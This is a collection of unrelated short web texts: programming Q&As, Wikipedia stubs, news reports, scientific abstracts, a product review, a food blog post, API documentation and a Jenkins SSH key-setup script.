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Q:
ASP.NET - ConstraintException was unhandled by user code
Been dabbling with a bit of ASP.NET. I current have the following error:
Failed to enable constraints. One or more rows contain values violating non-null, unique, or foreign-key constraints
It breaks on the following line:
DataTable propertyTable = pta.searchByType(sType);
Code:
String sType = Request.QueryString["type"];
DataSetTableAdapters.propertiesTableAdapter pta = new DataSetTableAdapters.propertiesTableAdapter();
DataTable propertyTable = pta.searchByType(sType);
if (propertyTable.Rows.Count > 0)
{
lblStatus.Text = "Your Results";
gvProperty.DataSource = propertyTable;
gvProperty.DataBind();
}
The query that pta.searchByType(sType); is calling is:
SELECT property_id, name, description, price, image, town
FROM properties
WHERE (date_approved IS NOT NULL) AND (property_type = @property_type)
The primary key for the properties table is property_id, the table has one FK that links to a users table but that's it.
Any help pointing me in the right direction is great. If you need any more details just drop them in the comments below.
Thanks :)
A:
Are you selecting ALL the columns?
See:
http://forums.asp.net/t/1400495.aspx/1
You can always cheat and set enable constraints to false on the table adapter, too.
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Q:
Native Javascript doesn't append element on the DOM
I have a website built in Expression Engine. In the back-end there is a code snippet that takes care of a JavaScript request and build a page based on the request.
I have a HTML Page without head tag.
This page is without styling
Sample:
<div class="top-arrow"><p><!--- Rest of code --></p>
</div>
<!-- Html page continues-->
I have added the following code in my attempt and it doesnt seem to work.
var span = document.createElement("span"); //Test element
span.textContent = "A <span> element.";
var node = document.getElementsByClassName("top-arrow");
node.insertBefore(span);
Below is what I get:
TypeError: node.insertBefore is not a function
node.insertBefore(span);
How best can I append text before the div with plain JavaScript.
A:
getElementsByClassName will return array-like node-list which does not have method insertBefore
The Node.insertBefore(newNode, referenceNode) method inserts the specified node before the reference node as a child of the current node(If referenceNode is null, the newNode is inserted at the end of the list of child nodes)
Note: referenceNode is not an optional argument, if there is no ant ref node, pass null
Try this:
var span = document.createElement("span");
span.textContent = "A <span> element.";
var node = document.getElementsByClassName("top-arrow")[0];
//_____________________________________________________^^(Get the first element from collection)
node.insertBefore(span, null);
<div class="top-arrow">
<p>
</p>
</div>
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The natural beauty of the forest and the wetlands is enhanced by two creeks that wander throughout, as well as numerous ponds and Ohio Valley sand-filled bunkers that await any errant strokes.
Four sets of tee blocks on every hole allow the novice golfer to appreciate the generous landing areas, while challenging the more accomplished player to execute a variety of shots using every club in the bag. |
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New to ROMs
New to ROMs
What's up everyone I'm ready to root my VZW GNex...but I want a Tom that's pretty stable and one thing I was really looking for was one where it has all the software buttons at the bottom. Home back menu search and multitask..I'm less worried about the multitask... is this a feature that can be edited in CM10.1? Because that's one I was looking into. Aside from that any recommendations for a newbie? I'm tired of waiting for VZW for my updates |
Baldeep Singh
Baldeep Singh (born 17 August 1982) is an Indian footballer who plays for Air India as a Defender in I-League. He is often referred to as "Baldeep Singh Senior" to avoid confusion with another former JCT player Baldeep Singh "Junior".
Career
Air India
Singh made his debut for Air India F.C. on 20 September 2012 during a Federation Cup match against Mohammedan at the Kanchenjunga Stadium in Siliguri, West Bengal in which he started the match; Air India lost the match 0–1.
Career statistics
Club
Statistics accurate as of 12 May 2013
References
Category:Indian footballers
Category:1987 births
Category:Living people
Category:Salgaocar F.C. players
Category:United Sikkim F.C. players
Category:Air India F.C. players
Category:Footballers from Punjab, India
Category:Association football defenders |
How about this for getting a jump on scouting for next year's MLS draft: Colorado Rapids top assistant coach Wilmer Cabrera will be attending three college matches this weekend during the Rapids bye week.
Head coach Oscar Pareja told ColoradoRapids.com on Thursday that Cabrera will attend Friday's match between the #8 ranked University of Maryland and the University of Pittsburgh at Ludwig Field in College Park, Md (PREVIEW / VIDEO). |
Q:
SSH Keychain for Xfce
I have recently switched from Gnome to Xfce on Ubuntu 9.04.
In Gnome, the first time I entered the passphrase, it prompted me to save the passphrase.
In Xfce however, I am prompted for the passphrase every time I connect.
Is there a simple way to save the passphrase in Xfce?
A:
If you've installed Seahorse (sudo apt-get install seahorse), add export $(gnome-keyring-daemon --daemonize --start) to your .bashrc and you'll get the same SSH key behaviour as in vanilla Ubuntu.
A:
I think this is what you're looking for:
Setup of SSH agent in Xubuntu 11.10 to get password-less authentication with use of public key | Hnygard.no
If you have not already done so, set up your private and public key (See Githubs description about SSH key half way through Set Up Git). It is important that you add a passphrase to your private key.
Install the package ssh-askpass:
sudo apt-get install ssh-askpass
Add «/usr/bin/ssh-add» to your start up. Go to Settings – Settings manager – Session and startup. Go to Application Autostart and add an item that runs the command «/usr/bin/ssh-add«:
On next login you’ll get the following dialog asking for your passphrase. After entering it, you can open a terminal or use sftp in the file manager without typing a password.
A:
Use ssh-agent and ssh-add?
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Inversion Table Review – All You Want to Know
It is always better to try certain products and tell our audience about the kind of experience we had with them, always make it a point that you read best inversion table reviews. This has many benefits. For one, we get to know the best products in the market and the way the market is changing. We get to know how companies are adapting to user demands. Then, our audience gets to know what they can expect out of each and every table that they buy. This helps them in making dramatically better decisions.
In this article, we would like to review the Teeter EP-960. And a word about it before we go into the details: we were really impressed with the table.
What is good about the table?
There are certain aspects to the table which are great and worth discussing. Then we will head on to the cons and let you know our compete verdict.
Control over the machine: Firstly, you have the EZ Angle Tether which helps you set the precise angle you would like to for the inversion table. Then, you can rest easy as the machine will do its job well. Also, the table has a precision rotation mechanism. In simple words, you can move your arms and the table will rotate accordingly and you become aware of the product by reading best inversion table reviews.
Flex technology for the seat: Teeter has a flex technology for its seat. It has been their trademark feature and you need to experience it to really know about it. However, it is very comfortable and moves along with your body to give you a perfect rest posture.
Functionality: Teeter machines are known for their accessibility and functionality. The ankle reach system has a triple lock technology which keeps you sturdy. Moreover, the handles for adjusting the ankles are long. Hence, you won’t have to bend to adjust them.
Durability: Lastly, Teeter is one of the best-known brands in this field. The company has been doing this for the last 35 years and has a reputation for durability. Plus, it uses high-grade materials and has a five-year warranty to go along with the product. Hence, if anything ever goes wrong, you really will not have anything to worry about.
Let us look at brand like Teeter EP-960 LTD Inversion Table is an FDA Registered medical device that is designed to provide spinal traction while stretching the spinal muscles and this is a good one. This table features a Comfortrak bed with in-built hand holds to optimize your stretching contour, shape, and position. It has an easy-to-reach ankle lock handle and also has patented ankle cups for comfort and support. The table boasts of Acupressure nodes and lumbar bridge for delivering trigger-point release for deeper compression and this is a feature not there are other options. It has an EZ-Angle Tether that has preset markings at 20 degrees, 40 degrees, and 60 degrees so that you can control the rotation more easily. Most inversion therapists suggest that even 60 degrees is a huge benefit to the body and also warn us that we should not stretch beyond the body limits. It can also be folded to take up minimal space while in storage with no need for disassembling the table and this always helps.
Another one is Health Gear ITM5500 Advanced Technology Inversion Table boasts of a vibrating massage pad that helps you by soothing aching muscles and removing knots in muscles during the inversion therapy itself, acting like a double treatment at the same time. The ITM5500 has a heat therapy pad along with the vibrating massage pad as well, which improves blood circulation and oxygen circulation in the body, greatly helping in relieving strain and stress. This one is good quality and gives you value for money. You should make it a point that you try this one before buying, as this one will surely get your mind changed. There is an extra-long locking arm which makes it easy to lock and unlock your ankles without having to bend over on the table to do so. It also has an easy 4 pin system for 20, 40, 60 and 90 degrees positions in inversion. The 4 adjustable leg rollers made of high-density foam ensure that there is no calf pinching during the inversion therapy session.
With a sturdy and strong frame, the Health Gear ITM5500 Advanced Technology Inversion Table supports people up to 300 lbs. in weight and up to 6’5” height. It also comes with a smart foldable technology that allows you to store it in minimal space without needing any disassembling of the table. The ITM5500 is very easy to assemble and put together and is available on Amazon and other such sites for purchase. With its price range, it is definitely one of the best picks in the market and is the closest that you can get to having a profession inversion table therapy session at home. You can buy it from the comfort of your home and also get a good discount, so you can save some money, and why not?.
Make it a point that when you buy these always read some best inversion table reviews as they will give you lots of important information about the product and make your choice much easier.
Conclusion
When it comes to the cons, we found one or two small issues but we would not want to spoil such a great product by playing spoilsport. At the end of the day, it is one of the best machines out there and deserves every bit of respect for that.
In case you are looking for an inversion table for yourself and this comes under your price range, you search would probably end here itself. Otherwise, you must seriously consider buying this Teeter table because, as reviewers, we can say that it really packs a great punch. |
Augmentation of intestinal and peripheral natural killer cell activity during the graft-versus-host reaction in mice.
We have investigated the possibility that nonspecific cytotoxicity may be involved in the pathogenesis of the intestinal phase of the graft-versus-host reaction (GVHR) in mice. A GVHR was induced in unirradiated (CBA X BALB/c)F1 mice and natural killer (NK) cell activity against YAC-1 followed in the spleen, mesenteric lymph node (MLN), and isolated intraepithelial lymphocytes (IEL). Augmented NK activity developed simultaneously in all tissues in parallel with the progress of the GVHR. The NK activity of IEL also showed a close association with the increased numbers of IEL found on sections of small intestine. Mature T lymphocytes and macrophages did not contribute to the nonspecific cytotoxicity, and antihost cytotoxic T cells were not detected in any tissue. The results indicate that generalized recruitment of NK cells occurs during the GVHR both in peripheral and intestinal lymphoid tissues, and we propose that lymphokines are responsible for this phenomenon. NK cells recruited by a delayed-type hypersensitivity reaction may contribute to the pathogenesis of the GVHR, but an alternative explanation is that NK cells may inhibit the progression of the GVHR. |
Public sees plans for possible I-35 toll road
1of 4Buck Benson looks at plans during a public meeting held by the Texas Department of Transportation about the I-35 Northeast San Antonio Expansion Project on Thursday, February 26, 2015 at Morgan's Wonderland in San Antonio, TX. "I am a lawyer representing developers, so this is a big deal to me," he said.Photo: San Antonio Express-News
2of 4Sal Hernandez, a consultant, right, talks about the I-35 Expansion Project plans during a public meeting held by the Texas Department of Transportation about the I-35 Northeast San Antonio Expansion Project on Thursday, February 26, 2015 at Morgan's Wonderland in San Antonio, TX.Photo: San Antonio Express-News
3of 4Sal Hernandez, a consultant, right, talks about the I-35 Expansion Project plans during a public meeting held by the Texas Department of Transportation about the I-35 Northeast San Antonio Expansion Project on Thursday, February 26, 2015 at Morgan's Wonderland in San Antonio, TX.Photo: San Antonio Express-News
4of 4Mike Wikman speaks during a public meeting held by the Texas Department of Transportation about the I-35 Northeast San Antonio Expansion Project on Thursday, February 26, 2015 at Morgan's Wonderland in San Antonio, TX.Photo: San Antonio Express-News
A presentation Thursday about possible new managed lanes on Interstate 35 was met by the larger debate over toll lanes, with the project’s supporters saying tolls were needed to pay for vital new road capacity and critics calling them double taxation.
The $1.3-billion proposal would add four managed lanes — two in each direction — along I-35 from the Loop 410 South interchange near San Antonio Military Medical Center to FM 1103 in Schertz, according to Texas Department of Transportation plans.
The proposal would expand an already crowded section of Interstate 35 where traffic is only expected to worsen in the coming years, said Jonathan Bean, TxDOT San Antonio’s director of transportation, planning and development. From 1995 to 2012, Bean said, traffic along the corridor increased by 60 percent, and is forecasted to increase by an additional 47 percent by 2035.
“I hope that you’ll support this needed route for our community,” said Rob Killen, the chairman of the board of the North San Antonio Chamber of Commerce.
Killen, who said expanding I-35 was essential for the local economy, was one of about 20 people who spoke at the hearing. More than 200 people attended.
The new lanes would be elevated and situated between the main lanes and access road in each direction for most of the 15-mile stretch, and the existing highway and access lanes would remain free. New connecting ramps would be built to link the managed lanes with 410 South, 410 West and Loop 1604.
On the managed lanes, the cost of the toll would vary depending on the time of day or level of congestion. Some vehicles, like public transit or registered carpoolers, could generally use the lanes for free.
Bean said TxDOT did not have the money to build new lanes on I-35 without tolls. The toll would range from 17 cents per mile to 50 cents per mile, he said.
But Paul Henson, who lives off of O’Connor Road near I-35, said that everyone was already paying taxes for road construction and maintenance, and the toll amounted to a second tax.
Other critics of the proposal argued the toll road would only benefit people who could afford the extra money needed to access the lanes.
“That’s $7.50 one way, or 15 bucks a day in new toll costs,” toll-road opponent Terri Hall said about someone who would drive the entire stretch at peak pricing.
Hall, founder of Texans Uniting for Reform and Freedom, said Gov. Greg Abbott has promised new funding for roads, but others said the region could not wait to see if the state took action.
“We’ve got to move forward and solve this problem,” said Don Durden, chair of the San Antonio Mobility Coalition and president of the firm Civil Engineering Consultants.
While many of the proposal’s supporters said it was needed from an economic standpoint, Michael Garza noted that decreased congestion could make the stretch safer. Garza said his wife drives the section every day with their young son, and he gets worried about all the traffic.
The managed lanes, Garza said, would provide a choice.
“We have the opportunity now to have an alternate route,” he said.
Before anything can be built, the I-35 project still needs final environmental approval, which TxDOT officials say is expected to come this summer. At this point, there is no anticipated groundbreaking date, TxDOT said.
People can make additional comments about the proposal until March 9 at TxDOT’s website.
Drew Joseph joined the Express-News in 2013 . Before coming to San Antonio, he covered health for the San Franciso Chronicle, lobbying and campaign finance for National Journal and breaking news for the Oregonian. He is a San Francisco Bay Area native and went to Dartmouth College. |
#!/bin/bash
set -e
# Usage
usage() {
echo "Usage:"
echo " ${0} -c <host> -p <port>"
exit 1
}
# Constants
SLEEP_TIME=5
MAX_RETRY=10
BASE_JENKINS_KEY="adop/core/jenkins"
BASE_JENKINS_SSH_KEY="${BASE_JENKINS_KEY}/ssh"
BASE_JENKINS_SSH_PUBLIC_KEY_KEY="${BASE_JENKINS_SSH_KEY}/public_key"
JENKINS_HOME="/var/jenkins_home"
JENKINS_SSH_DIR="${JENKINS_HOME}/.ssh"
JENKINS_USER_CONTENT_DIR="${JENKINS_HOME}/userContent/"
while getopts "c:p:u:w:" opt; do
case $opt in
c)
host=${OPTARG}
;;
p)
port=${OPTARG}
;;
*)
echo "Invalid parameter(s) or option(s)."
usage
;;
esac
done
if [ -z "${host}" ] || [ -z "${port}" ] ; then
echo "Parameters missing"
usage
fi
echo "Generating Jenkins Key Pair"
if [ ! -d "${JENKINS_SSH_DIR}" ]; then mkdir -p "${JENKINS_SSH_DIR}"; fi
cd "${JENKINS_SSH_DIR}"
if [[ ! $(ls -A "${JENKINS_SSH_DIR}") ]]; then
ssh-keygen -t rsa -f 'id_rsa' -b 4096 -C "jenkins@adop-core" -N '';
echo "Copy key to userContent folder"
mkdir -p ${JENKINS_USER_CONTENT_DIR}
rm -f ${JENKINS_USER_CONTENT_DIR}/id_rsa.pub
cp ${JENKINS_SSH_DIR}/id_rsa.pub ${JENKINS_USER_CONTENT_DIR}/id_rsa.pub
# Set correct permissions for Content Directory
chown 1000:1000 "${JENKINS_USER_CONTENT_DIR}"
fi
# public_key_val=$(cat ${JENKINS_SSH_DIR}/id_rsa.pub)
# Set correct permissions on SSH Key
chown -R 1000:1000 "${JENKINS_SSH_DIR}" |
52 Faces: Healthy families are a life's work
WEST BURLINGTON - Sally O'Riley knows the struggles families can face. She grew up the ninth of 13 children born to a mother who didn't stay in school past fifth-grade, and a father who left school two years short of a diploma.
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Early Childhood Iowa area director Sally O'Riley sits Thursday in the dining room of her rural West Burlington home. O'Riley, who worked 42 years for the Iowa Department of Human Services, starting as a clerk and retiring as an area director, has served as the ECI director for Des Moines and Louisa counties for the past seven years.
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layout: api
title: "v3.1.1 JavaScript Library: L.mapbox.styleLayer(url, options)"
categories: api
version: v3.1.1
permalink: /api/v3.1.1/l-mapbox-stylelayer/
---
<h2 id="section-l-mapbox-stylelayer">L.mapbox.styleLayer(url, options)</h2>
<p><span class='leaflet icon'><em>Extends</em>: <code><a href="/mapbox.js/api/v3.1.1/l-tilelayer">L.tileLayer</a></code></span></p>
<p><code><a href="/mapbox.js/api/v3.1.1/l-mapbox-stylelayer">L.mapbox.styleLayer</a></code> provides a way to integrate <a href="https://www.mapbox.com/help/define-style/">styles</a> created with Mapbox Studio into your map.</p>
<table>
<thead>
<tr>
<th>Options</th>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>url</td>
<td>string</td>
<td>Must be a string like <code>mapbox://styles/mapbox/cin286r4x006safncofpcb71v</code></td>
</tr>
<tr>
<td>options</td>
<td>object</td>
<td>If provided, it is the same options as provided to <code><a href="/mapbox.js/api/v3.1.1/l-tilelayer">L.tileLayer</a></code>, as well as: <ul><li><code>sanitizer</code>: A function that accepts a string containing tooltip data, and returns a sanitized result for HTML display. The default will remove dangerous script content, and is recommended.</li></td>
</tr>
</tbody>
</table>
<p><em>Example</em>:</p>
<pre><code>var styleLayer = L.mapbox.styleLayer(url)
.addTo(map);
</code></pre><p><em>Returns</em> a <code><a href="/mapbox.js/api/v3.1.1/l-mapbox-stylelayer">L.mapbox.styleLayer</a></code> object.</p>
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Predictors of long-term visual outcome after chemoreduction for management of intraocular retinoblastoma.
To determine the predictors of long-term visual outcome after chemoreduction for management of intraocular retinoblastoma. Retrospective case series. One hundred and forty eyes of 96 new retinoblastoma patients. The clinical records were reviewed for demographical profile, tumour characteristics, treatment methods, treatment side effects and final visual outcome. Multivariate analysis was used to evaluate factors predictive of final visual acuity. The clinical data were analysed for main outcome measures of good vision (visual acuity ≥6/12) or ambulatory vision (visual acuity ≥6/60). The correlation among predictor variables was determined using Pearson's product moment correlation for continuous variables, and t-test and analysis of variance test for categorical baseline variables. Follow-up ranged from 2 years to 14 years (median 75 months). The final mean logarithm of minimum angle of resolution visual acuity was 0.79. Ambulatory vision (≥6/60) was achieved in 100 of 140 (71%) eyes, and vision of ≥6/12 was seen in 52 eyes (37%). Extrafoveolar tumour and greater number of tumours in the eye were the only predictors of visual acuity ≥20/40. Greater number of tumours correlated with smaller mean basal tumour diameter. The mean basal tumour diameter was 9.8 mm in eyes with multiple tumours and 12.2 mm in eyes with single tumours (P = 0.03). Long-term ambulatory vision (≥6/60) was achieved in the majority (71%) of retinoblastoma containing eyes not requiring enucleation after treatment with chemoreduction and adjunctive therapy. Absence of foveolar involvement and greater number of tumours were the predictor of long- term visual outcome of 6/12 or better. |
Q:
Transforming the circle function to round mitered line segments
I am trying to achive fast, smooth, variable width lines in a graphics application. The goal is to draw a 2 segment line with a rounded corner in the middle.
Ultimately the goal would be to minimize the following:
The amount of quadrilaterals (or triangles if you find it easier to
think in terms of that.
Minimize the computation to find the points of the geometry
I will define the problem with points p0, p1, and p2. w1 would be the width of the rectangle through p0 and p1, and w2 would be the width of the rectangle between p1 and p2. the final goal would be to get a drawing such as this:
One of the first problems I have is calculating the position of the mitter in a situation where w1≠w2. I have seen the formula when both of the widths are equal but have never seen it extended for different widths.
The problem with the mitter based approach is when ∠p0p1p2 is very small the mitter gets extremely large.
After calculating the two quads formed by the tree points the geometry is passed to a pixel shader and the goal would be to mathematically determine which pixels need to be shaved off to round the outer corner formed by the three points.
Here is the tricky part. In the pixel shader there is no conception of space. I can pass in things like angles or ratios etc but those must be used to interpret an interpolated xy value from 0 to one.
The above diagram shows my understanding of how the value is interpolated but the key take away is that it has no idea of what kind of shape it is forming just its distance from each of the vertices.
So the problem I have essentially is:
Given the 2 dimensional value representing a pixel's interpolated position figure out whether the pixel should be shaded or not.
You are welcome to use any specific values to help interpret and transform the interpolated value given in.
A:
Here is a suggestion of how one might decide whether or not to shade a pixel on the inside or outside of the bend.
I'm thinking that the idea is to have a smooth curve from $A$ to $B$ which is tangent to the outer sides of the rectangles at the points $A$ and $B$.
This can be done in a smooth way by looking at the ratios of angles and moving smoothly between a distance of $W_1$ from $C$ to a distance $W_2$ from $C$.
For a given pixel at $X$ lying between the rays $AC$ and $AB$, define the ratio $r_X=\dfrac{\angle ACX}{\angle ACB}$.
Then $0\le r_X\le 1$.
Then for each such pixel $X$ define a width
$$ W_X=(1-r_X)\cdot W_1+r_X\cdot W_2 $$
Note that when $r_X=0$ then $W_X=W_1$ and when $r_X=1$ then $W_X=W_2$.
The idea is to shade pixel $X$ unless it is further from $C$ than $W_X$.
For the inside of the bend, label a point on $EC$ a distance $W_1$ from $C$ and a point on $CF$ a distance $W_2$ from $C$ (Sorry, I forgot to put those two points on the diagram).
Then one can do something similar for pixels inside the bend.
Define $s_Y=\dfrac{\angle ECY}{\angle ECF}$. (Note that $\angle ECF=\angle $ACB.)
Then define
$$ W_Y=(1-s_Y)\cdot W_1+s_Y\cdot W_2 $$
Then shade pixel $Y$ unless it is further from $C$ than $W_Y$.
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Q:
How do I process multiple variables in the same way?
It's highly probable this question has been asked, but I can't find the answer.
I have four variables:
a,b,c,d = [a,b,c,d].map{|myvar| myvar+1 }
How can I make this line more DRY (keeping it compact), i.e., achieve the same changes without repeating variable names?
A:
i have a growing suspicion that short answer (for this specific example with integers) is "no way"
due to the same reason as described in the answer in my previous question:
replacing referenced Integer value in Ruby like String#replace does
update:
if variables we operate on are an Array, Hash or String, and they keep the same datatype after the performed operation, it's drier, more compact and saving memory to use replace
[a,b,c,d].each{|v| v.replace(v + [1])} #example for an array
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President Xi Jinping called for an “all-out rescue effort,” according to CCTV, the state broadcaster, and the authorities said that hundreds of rescuers had been sent to Yancheng to sort through the wreckage. Nearly half of the injured were in serious condition, the Chinese Ministry of Civil Affairs said late Thursday.
The tornado, which began around 2:30 p.m. and was accompanied by hailstorms, destroyed thousands of homes and stores, as well as several manufacturing plants and rice mills, according to news reports. Yancheng is known as a center of textile production and farming in Jiangsu Province.
A man who gave his last name as Zhang told China News Service that he had been driving along a street when he noticed that trees were falling in a “strange way.” He pulled over, and soon the winds lifted his car and threw it into a river.
Tornadoes are relatively common in Jiangsu Province, in China’s southeast, with more than 1,000 recorded over the past six decades, according to Chinese news reports. Southern China has faced several bouts of extreme weather recently, with floods killing more than 20 people this week. |
[Construction of wild-type and mutant SPAST vectors for the study of molecular mechanism of hereditary spastic paraplegia].
To construct wild-type and mutant pEGFP SPAST vectors and to explore the molecular mechanism of hereditary spastic paraplegia. Mutant SPAST vector was constructed using overlap PCR method following construction of wild-type SPAST vector. Wild-type and mutant constructs were transfected to COS7 cells and subcellular localization of spastin was observed. Co-localizations of spastin and microtubule, spastin and mitochondria were viewed by immunofluorescence staining. Wild-type spastin is localized in plasma, and mutant spastin did not change its cellular localization. Wild-type and mutant spastins did not co-localize with microtubules and mitochondria by immunofluorescence analysis. Wild-type and mutant SPAST constructs were successfully generated. Mutant spastin did not change its localization in cells. Spastin does not co-localize with microtubules and mitochondria. This study may facilitate further studies on molecular mechanism of hereditary spastic paraplegia. |
List of streets in Baltimore
This is a list of notable streets in the city of Baltimore, Maryland, United States.
A
B
C
D
E
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H
Heath St. Route 64. (MTA Maryland)
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Ramsay st
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Y
Numbered streets
In Baltimore, numbered streets are found in the north-central part of the city, mostly in the communities of Charles Village, Hampden, and Waverly. The numbered streets, which run west-east, start with 20th Street (excluding 19½ Street, a short alley crossing Howard Street), which runs parallel to and one block north of North Avenue. The highest numbered street in Baltimore is 43rd Street, which runs from York Road several block east to Marble Hall Road near Cold Spring Lane. The numbered streets correspond with the first two digits in address numbers on north-south streets in this part of the city.
See also
List of roads in Baltimore County, Maryland
References
Baltimore
Streets
Baltimore |
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title: "基于Java、jQuery开发的账务管理系统(个人版)即将开源"
wordpress_id: 89
wordpress_url: http://www.wsria.com/?p=89
date: 2009-02-13 15:15:01 +08:00
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最近公司的事情太多没有时间整理源代码，公司总是把员工当做年轻的黄牛使用，什么事情都交给你做……
情人节别人双双亲亲热热的咱着个宅男还是在家里codeing，正好趁这个时间把代码整理发布给大家，帮助那些想在java环境中使用jQuery的同学快速入门并应用的实际项目中去
前段时间在<a title="googlecode" href="http://www.googlecode.com" target="_blank">googlecode</a>上申请了一个空间专门存放系统版本库，地址暂时先不公布，下周发布时发布消息。
需要此系统的同学可以先留下<a href="http://www.gmail.com" target="_blank">gmail</a>账号
<a title="预览系统截图" href="http://www.wsria.com/archives/73" target="_blank">系统预览</a>
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Induction of apoptosis by ribosome-inactivating proteins and related immunotoxins.
Immunotoxins have been prepared with 3 ribosome-inactivating proteins (RIPs), namely, momordin, pokeweed anti-viral protein from seeds (PAP-S) and saporin, linked to the Ber-H2 monoclonal antibody directed against the CD30 antigen of human lymphocytes. Either the RIPs or the immunotoxins induced apoptosis in the CD30+ L540 cell line, as shown by the morphological aspects of the cells, by the DNA fragmentation visible at the electrophoresis, and by the formation of DNA breaks evidenced by 2 cytofluorometric techniques (propidium-iodide staining and fluoresceine-isothiocyanate conjugate dUTP incorporation). The AC50 (concentration causing apoptosis in 50% of the cells) is in the range 10(-8) to 10(-7) M in the case of RIPs, and 10(-11) to 10(-10) M in the case of the immunotoxins. |
A tripolar current-steering stimulator ASIC for field shaping in deep brain stimulation.
A significant problem with clinical deep brain stimulation (DBS) is the high variability of its efficacy and the frequency of side effects, related to the spreading of current beyond the anatomical target area. This is the result of the lack of control that current DBS systems offer on the shaping of the electric potential distribution around the electrode. This paper presents a stimulator ASIC with a tripolar current-steering output stage, aiming at achieving more selectivity and field shaping than current DBS systems. The ASIC was fabricated in a 0.35-μ m CMOS technology occupying a core area of 0.71 mm(2). It consists of three current sourcing/sinking channels. It is capable of generating square and exponential-decay biphasic current pulses with five different time constants up to 28 ms and delivering up to 1.85 mA of cathodic current, in steps of 4 μA, from a 12 V power supply. Field shaping was validated by mapping the potential distribution when injecting current pulses through a multicontact DBS electrode in saline. |
Immunodiffusion test for ovine progressive pneumonia.
An agar gel immunodiffusion test was developed to detect precipitating antibody against ovine progressive pneumonia (OPP) virus. The test was conducted in plastic petri dishes containing 6 ml of 1% purified agar in tris buffer and 8% sodium chloride. Wells for serum and antigen were 8 mm in diameter and were cut in a hexagonal pattern 3 cm from a central well. Tests were read at 24 and 48 hours. Soluble antigen for the test consisted of concentrated nutrient medium removed every 2 weeks from a cell culture persistently infected with isolate WLC 1 of OPP virus. Specificity of results was verified by testing serums from experimentally exposed sheep and appropriate controls. Two lines of precipitate formed with some serums from experimentally inoculated sheep. Serums taken soon after exposure of sheep to the virus and those taken 3 to 4 years after exposure frequently formed only 1 line of precipitate. Of 37 lambs inoculated with OPP virus, 25% of those tested were positive by postinoculation (PI) month 1, 79% of those tested were positive by PI month 3, and all of those tested were positive by PI month 6. The test appears adequate to detect exposure of sheep to OPP virus. |
I’m not exactly sure who introduced me to blood oranges, not clear on where I was, or when it even happened. But I’d like to take a minute and say whoever you are, where ever you are, thank you. I owe ya one (a blood orange, that is).
I love bulking up on citrus this time of year. In the winter months, citrus is at its peak season and is so fresh, juicy, and delicious. It’s probably no coincidence either that these vitamin C-packed, immune-boosting fruits are abundant in the winter when cold and flu season is in full-force.
The moro (blood) orange is one variety not to miss because of its uniqueness in appearance and flavor. Its flesh is deep red, a far cry from its orange friends and family. And that deep red color means it contains a powerful antioxidant – anthocyanin, which protects the body from oxidative damage. It’s also less acidic than navel oranges and sweet enough that you can almost taste a hint of raspberry or strawberry.
I’ve been into roasting fruits lately (ever since my epic roasted balsamic strawberry shortcake last year) and wanted to try roasting blood oranges to see this awesome fruit taken to another level. Roasting caramelized the sugars so it definitely bumped the sweetness up a notch, which made them a perfect addition to morning oatmeal.
I feel like oatmeal gets a bad rep and I’m not sure why exactly. People think it’s boring, bland, the list goes on. But everyone knows that an outfit is only as good as its accessories, right? Jeans and a tee shirt can only go so far unless you pair them with a cute pair of flats and a statement necklace. Same thing with oatmeal. You’ve got to accessorize it to make it beautiful (and delicious).
I also think this could be a perfectly pretty breakfast-in-bed for you and your sweetheart for Valentine’s Day next weekend.
I think I was first introduced to blood oranges when I studied abroad in Florence, Italy, and I’ve loved them ever since! I’ve been really into using them in salads, especially with fennel, this winter! |
Desensitization of the stimulatory A2 adenosine receptor-adenylate cyclase system in vascular smooth muscle cells from rat aorta.
We have previously shown that adenylate cyclase present in rat aorta vascular smooth muscle cells can be stimulated by adenosine, its analogs and other agonists. In the present studies, we have examined the effect of preexposure of aorta vascular smooth muscle cells to N-ethylcarboxamide adenosine (NECA) on adenylate cyclase activity stimulated by NECA and other agonists. The vascular smooth muscle cells, when exposed to NECA, resulted in a concentration- and time-dependent loss of NECA-stimulated adenylate cyclase activity. NECA stimulated adenylate cyclase activity by about 120% in control cells, which was decreased to 20% in cells pretreated with 50 microM NECA for 30 min at 37 degrees C. However, GTP-, isoproterenol-, and forskolin-sensitive adenylate cyclase activities were not affected by such treatment, suggesting that NECA treatment of the cells resulted in homologous desensitization. Similarly, the exposure of the cells to isoproterenol resulted in the desensitization of isoproterenol-stimulated adenylate cyclase activity without affecting the NECA-stimulated adenylate cyclase activity. Furthermore, when NECA-treated cells were washed free of agonist, the desensitized state was reversed and the cells regained about 75% responsiveness to NECA stimulation of adenylate cyclase. |
He Cihong
He Cihong (born 6 June 1975) is a Chinese former swimmer who competed in the 1992 Summer Olympics and in the 1996 Summer Olympics.
At the 1994 FINA World Championships, she won the 100- and 200-meter backstroke events, setting the meet record in the women's 100 back at 1:00.16.
See also
World record progression 100 metres backstroke
World record progression 200 metres backstroke
References
Category:1975 births
Category:Living people
Category:Chinese female swimmers
Category:Female backstroke swimmers
Category:Olympic swimmers of China
Category:Swimmers at the 1992 Summer Olympics
Category:Swimmers at the 1996 Summer Olympics
Category:World record setters in swimming
Category:World Aquatics Championships medalists in swimming
Category:Medalists at the FINA World Swimming Championships (25 m)
Category:Asian Games medalists in swimming
Category:Asian Games gold medalists for China
Category:Swimmers at the 1994 Asian Games
Category:Medalists at the 1994 Asian Games |
Evidence Accumulation and Flow of Control in a Hierarchical Spatial Reasoning System
K. M. Andress, Avi Kak
Abstract
A fundamental goal of computer vision is the development of systems capable of carrying out scene interpretation while taking into account all the available knowledge. In this article, we focus on how the interpretation task can be aided by the expected scene information (such as map knowledge), which, in most cases, would not be in registration with the perceived scene. The proposed approach is applicable to the interpretation of scenes with three-dimensional structures as long as it is possible to generate the equivalent two-dimensional orthogonal or perspective projections of the structures in the expected scene. The system is implemented as a two-panel, six-level blackboard and uses the Dempster-Shafer formalism to accomplish inexact reasoning in a hierarchical space. Inexact reasoning involves exploiting, at different levels of abstraction, any internal geometric consistencies in the data and between the data and the expected scene. As they are discovered, these consistencies are used to update the system's belief in associating a data element with a particular entity from the expected scene. |
Q:
Gradle - could not initialize class org.apache.http.conn.ssl.SSLConnectionSocketFactory
I try to build my "Hello World" application with Android Studio and can't do it because of some problem with gradle. This is what I have:
$java -version
java version “1.8.0_151”
Java™ SE Runtime Environment (build 1.8.0_151-b12)
Java HotSpot™ 64-Bit Server VM (build 25.151-b12, mixed mode)
$ gradle -v
Gradle 6.5.1
Build time: 2020-06-30 06:32:47 UTC
Revision: 66bc713f7169626a7f0134bf452abde51550ea0a
Kotlin: 1.3.72
Groovy: 2.5.11
